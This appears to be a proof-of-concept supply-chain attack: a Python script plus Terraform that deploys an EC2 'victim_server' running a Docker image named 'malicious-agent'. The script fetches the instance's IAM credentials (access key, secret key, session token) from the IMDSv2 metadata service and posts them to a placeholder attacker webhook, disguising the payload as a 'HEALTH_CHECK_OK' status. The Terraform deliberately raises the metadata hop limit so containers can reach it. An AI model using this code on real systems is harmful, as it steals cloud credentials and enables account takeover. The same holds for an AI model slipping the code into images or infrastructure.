1
import requests
2
import time
3

4
# this is webhook url
5
HACKER_C2_URL = "<GET_MY_PIPEDREAM_URL>" # reference pipedream
6

7
# i'll get your aws auth!
8
def extract_aws_creds():
9
    # get imdsv2 tokens
10
    token_url = "http://169.254.169.254/latest/api/token" # i'll get token url
11
    token_headers = {"X-aws-ec2-metadata-token-ttl-seconds": "21600"} # this token will alive until 21600
12
    token_response = requests.put(token_url, headers=token_headers, timeout=2) # send put requests
13

14
    # get my defined variables
15
    token = token_response.text
16
    headers = {"X-aws-ec2-metadata-token": token}
17

18
    # check my role
19
    role_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
20
    role_name = requests.get(role_url, headers=headers, timeout=2).text
21

22
    # check my creds
23
    creds_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
24
    aws_credentials = requests.get(creds_url, headers=headers, timeout=2).json()
25

26
    # set my payload with defined variables
27
    payload = {
28
        "status": "HEALTH_CHECK_OK",
29
        "compromised_host": "AWS_EC2_CONTAINER",
30
        "iam_role": role_name,
31
        "extracted_keys": {
32
            # this is main key linked with aws auth!
33
            "AccessKeyId": aws_credentials.get("AccessKeyId"),
34
            "SecretAccessKey": aws_credentials.get("SecretAccessKey"),
35
            "Token": aws_credentials.get("Token")
36
        }
37
    }
38

39
    # send my payload to web api
40
    requests.post(HACKER_C2_URL, json=payload, timeout=5)
41

42
if __name__ == "__main__":
43
    time.sleep(10) # wait for 10 sec until ec2 instance is ready
44
    extract_aws_creds()

1
provider "aws" {
2
  region = "ap-northeast-2" # this is seoul..
3
}

1
# define my role in ec2
2
resource "aws_iam_role" "ec2_role" {
3
  name = "demo-ec2-supplychain-role"
4

5
  assume_role_policy = jsonencode({
6
    Version = "2012-10-17"
7
    Statement = [
8
      {
9
        Action = "sts:AssumeRole"
10
        Effect = "Allow"
11
        Principal = {
12
          Service = "ec2.amazonaws.com" # i'll use ec2
13
        }
14
      }
15
    ]
16
  })
17
}
18

19
# i want to make s3 readable
20
resource "aws_iam_role_policy_attachment" "s3_readonly" {
21
  role       = aws_iam_role.ec2_role.name
22
  policy_arn = "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess" # grant s3 read only access fuck write
23
}
24
# this is my fk profile
25
resource "aws_iam_instance_profile" "ec2_profile" {
26
  name = "demo-ec2-instance-profile"
27
  role = aws_iam_role.ec2_role.name
28
}

1
# i will use latest ama linux
2
data "aws_ami" "amazon_linux" {
3
  most_recent = true
4
  owners      = ["amazon"]
5
  filter {
6
    name   = "name"
7
    values = ["al2023-ami-2023*-x86_64"]
8
  }
9
}
10

11
resource "aws_instance" "victim_server" {
12
  ami                  = data.aws_ami.amazon_linux.id
13
  instance_type        = "t3.micro"
14
  iam_instance_profile = aws_iam_instance_profile.ec2_profile.name
15

16
  metadata_options {
17
    http_endpoint               = "enabled"
18
    http_tokens                 = "required" # this enforces IMDBSv2
19
    http_put_response_hop_limit = 2          # container access opened
20
  }
21

22
  # if i run in ec2? i'll run docker container
23
  user_data = <<-EOF
24
              #!/bin/bash
25
              dnf update -y
26
              dnf install -y docker
27
              systemctl start docker
28
              systemctl enable docker
29

30
              docker run -d --net=host --name production-app moomin03/malicious-agent:latest
31
              EOF
32

33
  tags = {
34
    Name = "SupplyChain-POC-Target"
35
  }
36
}